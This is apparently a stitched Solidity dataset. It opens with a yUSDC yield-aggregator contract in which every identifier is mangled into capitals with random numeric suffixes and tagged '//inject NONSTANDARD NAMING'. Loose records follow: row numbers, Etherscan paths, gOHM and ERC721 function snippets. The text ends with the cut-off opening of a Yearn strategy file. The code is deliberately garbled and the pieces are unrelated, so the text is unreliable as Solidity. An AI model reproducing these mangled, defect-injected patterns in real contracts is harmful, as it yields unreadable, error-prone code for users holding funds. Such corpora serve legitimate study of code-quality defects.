NONSTANDARD NAMING function REDEEM71(uint256 REDEEMTOKENS65) external returns (uint256); //inject NONSTANDARD NAMING function EXCHANGERATESTORED22() external view returns (uint); //inject NONSTANDARD NAMING } interface fulcrum27 { //inject NONSTANDARD NAMING function MINT37(address RECEIVER66, uint256 AMOUNT4) external payable returns (uint256 MINTAMOUNT46); //inject NONSTANDARD NAMING function BURN1(address RECEIVER66, uint256 BURNAMOUNT5) external returns (uint256 LOANAMOUNTPAID4); //inject NONSTANDARD NAMING function ASSETBALANCEOF38(address _OWNER43) external view returns (uint256 BALANCE2); //inject NONSTANDARD NAMING } interface ilendingpooladdressesprovider93 { //inject NONSTANDARD NAMING function GETLENDINGPOOL88() external view returns (address); //inject NONSTANDARD NAMING } interface aave60 { //inject NONSTANDARD NAMING function DEPOSIT43(address _RESERVE54, uint256 _AMOUNT50, uint16 _REFERRALCODE69) external; //inject NONSTANDARD NAMING } interface atoken49 { //inject NONSTANDARD NAMING function REDEEM71(uint256 AMOUNT4) external; //inject NONSTANDARD NAMING } interface iiearnmanager83 { //inject NONSTANDARD NAMING function RECOMMEND99(address _TOKEN3) external view returns ( //inject NONSTANDARD NAMING string memory CHOICE41, //inject NONSTANDARD NAMING uint256 CAPR5, //inject NONSTANDARD NAMING uint256 IAPR100, //inject NONSTANDARD NAMING uint256 AAPR96, //inject NONSTANDARD NAMING uint256 DAPR97 //inject NONSTANDARD NAMING ); } contract structs50 { //inject NONSTANDARD NAMING struct Val { uint256 VALUE83; //inject NONSTANDARD NAMING } enum ActionType { Deposit, // supply tokens Withdraw // borrow tokens } enum AssetDenomination { Wei // the amount is denominated in wei } enum AssetReference { Delta // the amount is given as a delta from the current value } struct AssetAmount { bool SIGN32; // true if positive //inject NONSTANDARD NAMING AssetDenomination DENOMINATION0; //inject NONSTANDARD NAMING AssetReference REF97; //inject NONSTANDARD NAMING uint256 VALUE83; //inject NONSTANDARD NAMING } struct ActionArgs { ActionType ACTIONTYPE60; //inject NONSTANDARD NAMING uint256 ACCOUNTID6; //inject NONSTANDARD NAMING AssetAmount AMOUNT4; //inject NONSTANDARD NAMING uint256 PRIMARYMARKETID93; //inject NONSTANDARD NAMING uint256 SECONDARYMARKETID1; //inject NONSTANDARD NAMING address OTHERADDRESS81; //inject NONSTANDARD NAMING uint256 OTHERACCOUNTID93; //inject NONSTANDARD NAMING bytes DATA85; //inject NONSTANDARD NAMING } struct Info { address OWNER26; // The address that owns the account //inject NONSTANDARD NAMING uint256 NUMBER25; // A nonce that allows a single address to control many accounts //inject NONSTANDARD NAMING } struct Wei { bool SIGN32; // true if positive //inject NONSTANDARD NAMING uint256 VALUE83; //inject NONSTANDARD NAMING } } contract dydx100 is structs50 { //inject NONSTANDARD NAMING function GETACCOUNTWEI65(Info memory ACCOUNT45, uint256 MARKETID4) public view returns (Wei memory); //inject NONSTANDARD NAMING function OPERATE53(Info[] memory, ActionArgs[] memory) public; //inject NONSTANDARD NAMING } interface lendingpooladdressesprovider85 { //inject NONSTANDARD NAMING function GETLENDINGPOOL88() external view returns (address); //inject NONSTANDARD NAMING function GETLENDINGPOOLCORE37() external view returns (address); //inject NONSTANDARD NAMING } contract yusdc19 is erc2030, erc20detailed21, reentrancyguard94, structs50, ownable93 { //inject NONSTANDARD NAMING using safeerc2059 for ierc2093; using address92 for address; using safemath13 for uint256; struct Deposit { uint256 AMOUNT4; //inject NONSTANDARD NAMING uint256 START33; // Block when it started //inject NONSTANDARD NAMING } uint256 public POOL37; //inject NONSTANDARD NAMING address public TOKEN25; //inject NONSTANDARD NAMING address public COMPOUND53; //inject NONSTANDARD NAMING address public FULCRUM19; //inject NONSTANDARD NAMING address public AAVE10; //inject NONSTANDARD NAMING address public AAVEPOOL17; //inject NONSTANDARD NAMING address public AAVETOKEN8; //inject NONSTANDARD NAMING address public DYDX62; //inject NONSTANDARD NAMING uint256 public DTOKEN6; //inject NONSTANDARD NAMING address public APR50; //inject NONSTANDARD NAMING address public CHAI29; //inject NONSTANDARD NAMING // Add other tokens if implemented for another stablecoin address public UNISWAPROUTER94 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; //inject NONSTANDARD NAMING address public USDC51 = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; //inject NONSTANDARD NAMING address public WETH0 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; //inject NONSTANDARD NAMING address payable public RETIREMENTYELDTREASURY39; //inject NONSTANDARD NAMING ierc2093 public YELDTOKEN43; //inject NONSTANDARD NAMING uint256 public MAXIMUMTOKENSTOBURN49 = 50000 * 1e18; //inject NONSTANDARD NAMING uint256 public constant minimumeffectamount5 = 5 * 10 ** 18; //inject NONSTANDARD NAMING // When you stake say 1000 USDC for a day that will be your maximum // if you stake the next time 300 USDC your maximum will stay the same // if you stake 2000 at once it will increase to 2000 USDC mapping(bytes32 => uint256) public NUMBEROFPARTICIPANTS77; //inject NONSTANDARD NAMING mapping(address => Deposit) public DEPOSITS12; //inject NONSTANDARD NAMING uint256 public constant onedayinblocks19 = 6500; //inject NONSTANDARD NAMING uint256 public YELDTOREWARDPERDAY12 = 100e18; // 100 YELD per day per 1 million stablecoins padded with 18 zeroes to have that flexibility //inject NONSTANDARD NAMING uint256 public constant onemillion14 = 1e6; //inject NONSTANDARD NAMING enum Lender { NONE, DYDX, COMPOUND, AAVE, FULCRUM } Lender public PROVIDER42 = Lender.NONE; //inject NONSTANDARD NAMING constructor (address _YELDTOKEN72, address payable _RETIREMENTYELDTREASURY14) public payable erc20detailed21("yearn USDC", "yUSDC", 18) { //inject NONSTANDARD NAMING TOKEN25 = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); APR50 = address(0xdD6d648C991f7d47454354f4Ef326b04025a48A8); DYDX62 = address(0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e); AAVE10 = address(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); AAVEPOOL17 = address(0x3dfd23A6c5E8BbcFc9581d2E864a68feb6a076d3); FULCRUM19 = address(0x493C57C4763932315A328269E1ADaD09653B9081); AAVETOKEN8 = address(0xfC1E690f61EFd961294b3e1Ce3313fBD8aa4f85d); COMPOUND53 = address(0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643); CHAI29 = address(0x06AF07097C9Eeb7fD685c692751D5C66dB49c215); DTOKEN6 = 3; YELDTOKEN43 = ierc2093(_YELDTOKEN72); RETIREMENTYELDTREASURY39 = _RETIREMENTYELDTREASURY14; APPROVETOKEN12(); } // To receive ETH after converting it from USDC function () external payable {} function SETRETIREMENTYELDTREASURY49(address payable _TREASURY6) public ONLYOWNER61 { //inject NONSTANDARD NAMING RETIREMENTYELDTREASURY39 = _TREASURY6; } // In case a new uniswap router version is released function SETUNISWAPROUTER20(address _UNISWAPROUTER42) public ONLYOWNER61 { //inject NONSTANDARD NAMING UNISWAPROUTER94 = _UNISWAPROUTER42; } function EXTRACTTOKENSIFSTUCK53(address _TOKEN3, uint256 _AMOUNT50) public ONLYOWNER61 { //inject NONSTANDARD NAMING ierc2093(_TOKEN3).TRANSFER37(msg.sender, _AMOUNT50); } function EXTRACTETHIFSTUCK0() public ONLYOWNER61 { //inject NONSTANDARD NAMING OWNER99().transfer(address(this).balance); } function CHANGEYELDTOREWARDPERDAY13(uint256 _AMOUNT50) public ONLYOWNER61 { //inject NONSTANDARD NAMING YELDTOREWARDPERDAY12 = _AMOUNT50; } function GETGENERATEDYELDS73() public view returns(uint256) { //inject NONSTANDARD NAMING uint256 BLOCKSPASSED1; //inject NONSTANDARD NAMING if (DEPOSITS12[msg.sender].START33 > 0) { BLOCKSPASSED1 = block.number.SUB57(DEPOSITS12[msg.sender].START33); } else { BLOCKSPASSED1 = 0; } // This will work because amount is a token with 18 decimals // Take the deposit, reduce it by 1 million (by removing 6 zeroes) so you get 1 // That 1 means get 1 YELD per day (in blocks). Now multiply that 1 by 100 to get 100 YELD per day // your deposits in dai div by 1 million * by yeld to reward / 1e18 since yeldToReward is in 18 decimals to be able to provide a smaller price since // we can't go below 1 in a variable. You can't make the price 0.00001 that's why we need that 1e18 padding uint256 GENERATEDYELDS87 = DEPOSITS12[msg.sender].AMOUNT4.DIV26(onemillion14).MUL24(YELDTOREWARDPERDAY12.DIV26(1e18)).MUL24(BLOCKSPASSED1).DIV26(onedayinblocks19); //inject NONSTANDARD NAMING return GENERATEDYELDS87; } function EXTRACTYELDEARNINGSWHILEKEEPINGDEPOSIT99() public { //inject NONSTANDARD NAMING require(DEPOSITS12[msg.sender].START33 > 0 && DEPOSITS12[msg.sender].AMOUNT4 > 0, 'Must have deposited stablecoins beforehand'); uint256 GENERATEDYELDS87 = GETGENERATEDYELDS73(); //inject NONSTANDARD NAMING DEPOSITS12[msg.sender] = Deposit(DEPOSITS12[msg.sender].AMOUNT4, block.number); YELDTOKEN43.TRANSFER37(msg.sender, GENERATEDYELDS87); } function DEPOSIT43(uint256 _AMOUNT50) //inject NONSTANDARD NAMING external NONREENTRANT47 { require(_AMOUNT50 > 0, "deposit must be greater than 0"); POOL37 = CALCPOOLVALUEINTOKEN17(); ierc2093(TOKEN25).SAFETRANSFERFROM76(msg.sender, address(this), _AMOUNT50); // Yeld if (GETGENERATEDYELDS73() > 0) EXTRACTYELDEARNINGSWHILEKEEPINGDEPOSIT99(); DEPOSITS12[msg.sender] = Deposit(DEPOSITS12[msg.sender].AMOUNT4.ADD27(_AMOUNT50), block.number); // Yeld // Calculate pool shares uint256 SHARES22 = 0; //inject NONSTANDARD NAMING if (POOL37 == 0) { SHARES22 = _AMOUNT50; POOL37 = _AMOUNT50; } else { SHARES22 = (_AMOUNT50.MUL24(_TOTALSUPPLY32)).DIV26(POOL37); } POOL37 = CALCPOOLVALUEINTOKEN17(); _MINT79(msg.sender, SHARES22); } // Converts USDC to ETH and returns how much ETH has been received from Uniswap function USDCTOETH25(uint256 _AMOUNT50) internal returns(uint256) { //inject NONSTANDARD NAMING ierc2093(USDC51).SAFEAPPROVE32(UNISWAPROUTER94, 0); ierc2093(USDC51).SAFEAPPROVE32(UNISWAPROUTER94, _AMOUNT50); address[] memory PATH78 = new address[](2); //inject NONSTANDARD NAMING PATH78[0] = USDC51; PATH78[1] = WETH0; // swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) // 'amounts' is an array where [0] is input USDC amount and [1] is the resulting ETH after the conversion // even tho we've specified the WETH address, we'll receive ETH since that's how it works on uniswap // https://uniswap.org/docs/v2/smart-contracts/router02/#swapexacttokensforeth uint[] memory AMOUNTS56 = iuniswap2(UNISWAPROUTER94).SWAPEXACTTOKENSFORETH53(_AMOUNT50, uint(0), PATH78, address(this), now.ADD27(1800)); //inject NONSTANDARD NAMING return AMOUNTS56[1]; } // Buys YELD tokens paying in ETH on Uniswap and removes them from circulation // Returns how many YELD tokens have been burned function BUYNBURN98(uint256 _ETHTOSWAP66) internal returns(uint256) { //inject NONSTANDARD NAMING address[] memory PATH78 = new address[](2); //inject NONSTANDARD NAMING PATH78[0] = WETH0; PATH78[1] = address(YELDTOKEN43); // Burns the tokens by taking them out of circulation, sending them to the 0x0 address uint[] memory AMOUNTS56 = iuniswap2(UNISWAPROUTER94).SWAPEXACTETHFORTOKENS6.value(_ETHTOSWAP66)(uint(0), PATH78, address(0), now.ADD27(1800)); //inject NONSTANDARD NAMING return AMOUNTS56[1]; } // No rebalance implementation for lower fees and faster swaps function WITHDRAW27(uint256 _SHARES43) //inject NONSTANDARD NAMING external NONREENTRANT47 { require(_SHARES43 > 0, "withdraw must be greater than 0"); uint256 IBALANCE43 = BALANCEOF25(msg.sender); //inject NONSTANDARD NAMING require(_SHARES43 <= IBALANCE43, "insufficient balance"); POOL37 = CALCPOOLVALUEINTOKEN17(); uint256 R82 = (POOL37.MUL24(_SHARES43)).DIV26(_TOTALSUPPLY32); //inject NONSTANDARD NAMING _BALANCES15[msg.sender] = _BALANCES15[msg.sender].SUB57(_SHARES43, "redeem amount exceeds balance"); _TOTALSUPPLY32 = _TOTALSUPPLY32.SUB57(_SHARES43); emit TRANSFER22(msg.sender, address(0), _SHARES43); uint256 B30 = ierc2093(TOKEN25).BALANCEOF25(address(this)); //inject NONSTANDARD NAMING if (B30 < R82) { _WITHDRAWSOME38(R82.SUB57(B30)); } // Yeld uint256 GENERATEDYELDS87 = GETGENERATEDYELDS73(); //inject NONSTANDARD NAMING uint256 HALFPROFITS96 = (R82.SUB57(DEPOSITS12[msg.sender].AMOUNT4, '#3 Half profits sub error')).DIV26(2); //inject NONSTANDARD NAMING DEPOSITS12[msg.sender] = Deposit(DEPOSITS12[msg.sender].AMOUNT4.SUB57(_SHARES43), block.number); YELDTOKEN43.TRANSFER37(msg.sender, GENERATEDYELDS87); // Take a portion of the profits for the buy and burn and retirement yeld // Convert half the USDC earned into ETH for the protocol algorithms if (HALFPROFITS96 > minimumeffectamount5) { uint256 STAKINGPROFITS48 = USDCTOETH25(HALFPROFITS96); //inject NONSTANDARD NAMING uint256 TOKENSALREADYBURNED29 = YELDTOKEN43.BALANCEOF25(address(0)); //inject NONSTANDARD NAMING if (TOKENSALREADYBURNED29 < MAXIMUMTOKENSTOBURN49) { // 98% is the 49% doubled since we already took the 50% uint256 ETHTOSWAP53 = STAKINGPROFITS48.MUL24(98).DIV26(100); //inject NONSTANDARD NAMING // Buy and burn only applies up to 50k tokens burned BUYNBURN98(ETHTOSWAP53); // 1% for the Retirement Yield uint256 RETIREMENTYELD83 = STAKINGPROFITS48.MUL24(2).DIV26(100); //inject NONSTANDARD NAMING // Send to the treasury RETIREMENTYELDTREASURY39.transfer(RETIREMENTYELD83); } else { // If we've reached the maximum burn point, send half the profits to the treasury to reward holders uint256 RETIREMENTYELD83 = STAKINGPROFITS48; //inject NONSTANDARD NAMING // Send to the treasury RETIREMENTYELDTREASURY39.transfer(RETIREMENTYELD83); } } // Yeld ierc2093(TOKEN25).SAFETRANSFER30(msg.sender, R82); POOL37 = CALCPOOLVALUEINTOKEN17(); } function RECOMMEND99() public view returns (Lender) { //inject NONSTANDARD NAMING (,uint256 CAPR5,uint256 IAPR100,uint256 AAPR96,uint256 DAPR97) = iiearnmanager83(APR50).RECOMMEND99(TOKEN25); //inject NONSTANDARD NAMING uint256 MAX28 = 0; //inject NONSTANDARD NAMING if (CAPR5 > MAX28) { MAX28 = CAPR5; } if (IAPR100 > MAX28) { MAX28 = IAPR100; } if (AAPR96 > MAX28) { MAX28 = AAPR96; } if (DAPR97 > MAX28) { MAX28 = DAPR97; } Lender NEWPROVIDER38 = Lender.NONE; //inject NONSTANDARD NAMING if (MAX28 == CAPR5) { NEWPROVIDER38 = Lender.COMPOUND; } else if (MAX28 == IAPR100) { NEWPROVIDER38 = Lender.FULCRUM; } else if (MAX28 == AAPR96) { NEWPROVIDER38 = Lender.AAVE; } else if (MAX28 == DAPR97) { NEWPROVIDER38 = Lender.DYDX; } return NEWPROVIDER38; } function GETAAVE86() public view returns (address) { //inject NONSTANDARD NAMING return lendingpooladdressesprovider85(AAVE10).GETLENDINGPOOL88(); } function GETAAVECORE62() public view returns (address) { //inject NONSTANDARD NAMING return lendingpooladdressesprovider85(AAVE10).GETLENDINGPOOLCORE37(); } function APPROVETOKEN12() public { //inject NONSTANDARD NAMING ierc2093(TOKEN25).SAFEAPPROVE32(COMPOUND53, uint(-1)); ierc2093(TOKEN25).SAFEAPPROVE32(DYDX62, uint(-1)); ierc2093(TOKEN25).SAFEAPPROVE32(GETAAVECORE62(), uint(-1)); ierc2093(TOKEN25).SAFEAPPROVE32(FULCRUM19, uint(-1)); } function BALANCE62() public view returns (uint256) { //inject NONSTANDARD NAMING return ierc2093(TOKEN25).BALANCEOF25(address(this)); } function BALANCEDYDXAVAILABLE58() public view returns (uint256) { //inject NONSTANDARD NAMING return ierc2093(TOKEN25).BALANCEOF25(DYDX62); } function BALANCEDYDX47() public view returns (uint256) { //inject NONSTANDARD NAMING Wei memory BAL85 = dydx100(DYDX62).GETACCOUNTWEI65(Info(address(this), 0), DTOKEN6); //inject NONSTANDARD NAMING return BAL85.VALUE83; } function BALANCECOMPOUND27() public view returns (uint256) { //inject NONSTANDARD NAMING return ierc2093(COMPOUND53).BALANCEOF25(address(this)); } function BALANCECOMPOUNDINTOKEN38() public view returns (uint256) { //inject NONSTANDARD NAMING // Mantisa 1e18 to decimals uint256 B30 = BALANCECOMPOUND27(); //inject NONSTANDARD NAMING if (B30 > 0) { B30 = B30.MUL24(compound17(COMPOUND53).EXCHANGERATESTORED22()).DIV26(1e18); } return B30; } function BALANCEFULCRUMAVAILABLE62() public view returns (uint256) { //inject NONSTANDARD NAMING return ierc2093(CHAI29).BALANCEOF25(FULCRUM19); } function BALANCEFULCRUMINTOKEN93() public view returns (uint256) { //inject NONSTANDARD NAMING uint256 B30 = BALANCEFULCRUM60(); //inject NONSTANDARD NAMING if (B30 > 0) { B30 = fulcrum27(FULCRUM19).ASSETBALANCEOF38(address(this)); } return B30; } function BALANCEFULCRUM60() public view returns (uint256) { //inject NONSTANDARD NAMING return ierc2093(FULCRUM19).BALANCEOF25(address(this)); } function BALANCEAAVEAVAILABLE0() public view returns (uint256) { //inject NONSTANDARD NAMING return ierc2093(TOKEN25).BALANCEOF25(AAVEPOOL17); } function BALANCEAAVE23() public view returns (uint256) { //inject NONSTANDARD NAMING return ierc2093(AAVETOKEN8).BALANCEOF25(address(this)); } function REBALANCE91() public { //inject NONSTANDARD NAMING Lender NEWPROVIDER38 = RECOMMEND99(); //inject NONSTANDARD NAMING if (NEWPROVIDER38 != PROVIDER42) { _WITHDRAWALL34(); } if (BALANCE62() > 0) { if (NEWPROVIDER38 == Lender.DYDX) { _SUPPLYDYDX52(BALANCE62()); } else if (NEWPROVIDER38 == Lender.FULCRUM) { _SUPPLYFULCRUM48(BALANCE62()); } else if (NEWPROVIDER38 == Lender.COMPOUND) { _SUPPLYCOMPOUND47(BALANCE62()); } else if (NEWPROVIDER38 == Lender.AAVE) { _SUPPLYAAVE98(BALANCE62()); } } PROVIDER42 = NEWPROVIDER38; } function _WITHDRAWALL34() internal { //inject NONSTANDARD NAMING uint256 AMOUNT4 = BALANCECOMPOUND27(); //inject NONSTANDARD NAMING if (AMOUNT4 > 0) { _WITHDRAWSOMECOMPOUND30(BALANCECOMPOUNDINTOKEN38().SUB57(1)); } AMOUNT4 = BALANCEDYDX47(); if (AMOUNT4 > 0) { if (AMOUNT4 > BALANCEDYDXAVAILABLE58()) { AMOUNT4 = BALANCEDYDXAVAILABLE58(); } _WITHDRAWDYDX0(AMOUNT4); } AMOUNT4 = BALANCEFULCRUM60(); if (AMOUNT4 > 0) { if (AMOUNT4 > BALANCEFULCRUMAVAILABLE62().SUB57(1)) { AMOUNT4 = BALANCEFULCRUMAVAILABLE62().SUB57(1); } _WITHDRAWSOMEFULCRUM68(AMOUNT4); } AMOUNT4 = BALANCEAAVE23(); if (AMOUNT4 > 0) { if (AMOUNT4 > BALANCEAAVEAVAILABLE0()) { AMOUNT4 = BALANCEAAVEAVAILABLE0(); } _WITHDRAWAAVE10(AMOUNT4); } } function _WITHDRAWSOMECOMPOUND30(uint256 _AMOUNT50) internal { //inject NONSTANDARD NAMING uint256 B30 = BALANCECOMPOUND27(); //inject NONSTANDARD NAMING uint256 BT79 = BALANCECOMPOUNDINTOKEN38(); //inject NONSTANDARD NAMING require(BT79 >= _AMOUNT50, "insufficient funds"); // can have unintentional rounding errors uint256 AMOUNT4 = (B30.MUL24(_AMOUNT50)).DIV26(BT79).ADD27(1); //inject NONSTANDARD NAMING _WITHDRAWCOMPOUND82(AMOUNT4); } function _WITHDRAWSOMEFULCRUM68(uint256 _AMOUNT50) internal { //inject NONSTANDARD NAMING uint256 B30 = BALANCEFULCRUM60(); //inject NONSTANDARD NAMING uint256 BT79 = BALANCEFULCRUMINTOKEN93(); //inject NONSTANDARD NAMING require(BT79 >= _AMOUNT50, "insufficient funds"); // can have unintentional rounding errors uint256 AMOUNT4 = (B30.MUL24(_AMOUNT50)).DIV26(BT79).ADD27(1); //inject NONSTANDARD NAMING _WITHDRAWFULCRUM65(AMOUNT4); } function _WITHDRAWSOME38(uint256 _AMOUNT50) internal returns (bool) { //inject NONSTANDARD NAMING uint256 ORIGAMOUNT32 = _AMOUNT50; //inject NONSTANDARD NAMING uint256 AMOUNT4 = BALANCECOMPOUND27(); //inject NONSTANDARD NAMING if (AMOUNT4 > 0) { if (_AMOUNT50 > BALANCECOMPOUNDINTOKEN38().SUB57(1)) { _WITHDRAWSOMECOMPOUND30(BALANCECOMPOUNDINTOKEN38().SUB57(1)); _AMOUNT50 = ORIGAMOUNT32.SUB57(ierc2093(TOKEN25).BALANCEOF25(address(this))); } else { _WITHDRAWSOMECOMPOUND30(_AMOUNT50); return true; } } AMOUNT4 = BALANCEDYDX47(); if (AMOUNT4 > 0) { if (_AMOUNT50 > BALANCEDYDXAVAILABLE58()) { _WITHDRAWDYDX0(BALANCEDYDXAVAILABLE58()); _AMOUNT50 = ORIGAMOUNT32.SUB57(ierc2093(TOKEN25).BALANCEOF25(address(this))); } else { _WITHDRAWDYDX0(_AMOUNT50); return true; } } AMOUNT4 = BALANCEFULCRUM60(); if (AMOUNT4 > 0) { if (_AMOUNT50 > BALANCEFULCRUMAVAILABLE62().SUB57(1)) { AMOUNT4 = BALANCEFULCRUMAVAILABLE62().SUB57(1); _WITHDRAWSOMEFULCRUM68(BALANCEFULCRUMAVAILABLE62().SUB57(1)); _AMOUNT50 = ORIGAMOUNT32.SUB57(ierc2093(TOKEN25).BALANCEOF25(address(this))); } else { _WITHDRAWSOMEFULCRUM68(AMOUNT4); return true; } } AMOUNT4 = BALANCEAAVE23(); if (AMOUNT4 > 0) { if (_AMOUNT50 > BALANCEAAVEAVAILABLE0()) { _WITHDRAWAAVE10(BALANCEAAVEAVAILABLE0()); _AMOUNT50 = ORIGAMOUNT32.SUB57(ierc2093(TOKEN25).BALANCEOF25(address(this))); } else { _WITHDRAWAAVE10(_AMOUNT50); return true; } } return true; } function _SUPPLYDYDX52(uint256 AMOUNT4) internal { //inject NONSTANDARD NAMING Info[] memory INFOS35 = new Info[](1); //inject NONSTANDARD NAMING INFOS35[0] = Info(address(this), 0); AssetAmount memory AMT17 = AssetAmount(true, AssetDenomination.Wei, AssetReference.Delta, AMOUNT4); //inject NONSTANDARD NAMING ActionArgs memory ACT61; //inject NONSTANDARD NAMING ACT61.ACTIONTYPE60 = ActionType.Deposit; ACT61.ACCOUNTID6 = 0; ACT61.AMOUNT4 = AMT17; ACT61.PRIMARYMARKETID93 = DTOKEN6; ACT61.OTHERADDRESS81 = address(this); ActionArgs[] memory ARGS40 = new ActionArgs[](1); //inject NONSTANDARD NAMING ARGS40[0] = ACT61; dydx100(DYDX62).OPERATE53(INFOS35, ARGS40); } function _SUPPLYAAVE98(uint AMOUNT4) internal { //inject NONSTANDARD NAMING aave60(GETAAVE86()).DEPOSIT43(TOKEN25, AMOUNT4, 0); } function _SUPPLYFULCRUM48(uint AMOUNT4) internal { //inject NONSTANDARD NAMING require(fulcrum27(FULCRUM19).MINT37(address(this), AMOUNT4) > 0, "FULCRUM: supply failed"); } function _SUPPLYCOMPOUND47(uint AMOUNT4) internal { //inject NONSTANDARD NAMING require(compound17(COMPOUND53).MINT37(AMOUNT4) == 0, "COMPOUND: supply failed"); } function _WITHDRAWAAVE10(uint AMOUNT4) internal { //inject NONSTANDARD NAMING atoken49(AAVETOKEN8).REDEEM71(AMOUNT4); } function _WITHDRAWFULCRUM65(uint AMOUNT4) internal { //inject NONSTANDARD NAMING require(fulcrum27(FULCRUM19).BURN1(address(this), AMOUNT4) > 0, "FULCRUM: withdraw failed"); } function _WITHDRAWCOMPOUND82(uint AMOUNT4) internal { //inject NONSTANDARD NAMING require(compound17(COMPOUND53).REDEEM71(AMOUNT4) == 0, "COMPOUND: withdraw failed"); } function _WITHDRAWDYDX0(uint256 AMOUNT4) internal { //inject NONSTANDARD NAMING Info[] memory INFOS35 = new Info[](1); //inject NONSTANDARD NAMING INFOS35[0] = Info(address(this), 0); AssetAmount memory AMT17 = AssetAmount(false, AssetDenomination.Wei, AssetReference.Delta, AMOUNT4); //inject NONSTANDARD NAMING ActionArgs memory ACT61; //inject NONSTANDARD NAMING ACT61.ACTIONTYPE60 = ActionType.Withdraw; ACT61.ACCOUNTID6 = 0; ACT61.AMOUNT4 = AMT17; ACT61.PRIMARYMARKETID93 = DTOKEN6; ACT61.OTHERADDRESS81 = address(this); ActionArgs[] memory ARGS40 = new ActionArgs[](1); //inject NONSTANDARD NAMING ARGS40[0] = ACT61; dydx100(DYDX62).OPERATE53(INFOS35, ARGS40); } function CALCPOOLVALUEINTOKEN17() public view returns (uint) { //inject NONSTANDARD NAMING return BALANCECOMPOUNDINTOKEN38() .ADD27(BALANCEFULCRUMINTOKEN93()) .ADD27(BALANCEDYDX47()) .ADD27(BALANCEAAVE23()) .ADD27(BALANCE62()); } function GETPRICEPERFULLSHARE16() public view returns (uint) { //inject NONSTANDARD NAMING uint _POOL79 = CALCPOOLVALUEINTOKEN17(); //inject NONSTANDARD NAMING return _POOL79.MUL24(1e18).DIV26(_TOTALSUPPLY32); } }
inject NONSTANDARD NAMING
function EXTRACTETHIFSTUCK0() public ONLYOWNER61 {
7,220,482
./full_match/1/0x184f3FAd8618a6F458C16bae63F70C426fE784B3/sources/gOHM_flat.sol
send preferred token
function _send(uint256 wAmount, TYPE _to) internal { if (_to == TYPE.WRAPPED) { gOHM.safeTransfer(msg.sender, wAmount); newStaking.unwrap(msg.sender, wAmount); newStaking.unstake(msg.sender, wAmount, false, false); } }
3,845,228
./full_match/80001/0xF0C175dbfeE67185a408C0F84EF1dF1abc6A2a7a/sources/contracts/ERC721WithPermit.sol
Add `tokenaddress` to allowed tokens for transfer/
function addAllowedTokenForTransfer(address tokenAddress) external whenNotPaused onlyRole(DEFAULT_ADMIN_ROLE) { _allowedTokensForTransfer[tokenAddress] = true; _allowedTokensList.push(tokenAddress); }
5,572,561
/** *Submitted for verification at Etherscan.io on 2021-10-26 */ // SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; // Global Enums and Structs struct StrategyParams { uint256 performanceFee; uint256 activation; uint256 debtRatio; uint256 minDebtPerHarvest; uint256 maxDebtPerHarvest; uint256 lastReport; uint256 totalDebt; uint256 totalGain; uint256 totalLoss; } // Part: AggregatorInterface interface AggregatorInterface { function latestAnswer() external view returns (int256); function latestTimestamp() external view returns (uint256); function latestRound() external view returns (uint256); function getAnswer(uint256 roundId) external view returns (int256); function getTimestamp(uint256 roundId) external view returns (uint256); event AnswerUpdated( int256 indexed current, uint256 indexed roundId, uint256 updatedAt ); event NewRound( uint256 indexed roundId, address indexed startedBy, uint256 startedAt ); } // Part: DssAutoLine interface DssAutoLine { function exec(bytes32 _ilk) external returns (uint256); } // Part: GemLike interface GemLike { function approve(address, uint256) external; function transfer(address, uint256) external; function transferFrom( address, address, uint256 ) external; function deposit() external payable; function withdraw(uint256) external; } // Part: IBaseFee interface IBaseFee { function basefee_global() external view returns (uint256); } // Part: IOSMedianizer interface IOSMedianizer { function foresight() external view returns (uint256 price, bool osm); function read() external view returns (uint256 price, bool osm); } // Part: ISwap interface ISwap { function swapExactTokensForTokens( uint256, uint256, address[] calldata, address, uint256 ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256, uint256, address[] calldata, address, uint256 ) external returns (uint256[] memory amounts); function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts); } // Part: JugLike interface JugLike { function drip(bytes32) external returns (uint256); } // Part: ManagerLike interface ManagerLike { function cdpCan( address, uint256, address ) external view returns (uint256); function ilks(uint256) external view returns (bytes32); function owns(uint256) external view returns (address); function urns(uint256) external view returns (address); function vat() external view returns (address); function open(bytes32, address) external returns (uint256); function give(uint256, address) external; function cdpAllow( uint256, address, uint256 ) external; function urnAllow(address, uint256) external; function frob( uint256, int256, int256 ) external; function flux( uint256, address, uint256 ) external; function move( uint256, address, uint256 ) external; function exit( address, uint256, address, uint256 ) external; function quit(uint256, address) external; function enter(address, uint256) external; function shift(uint256, uint256) external; } // Part: OpenZeppelin/[email protected]/Address /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function 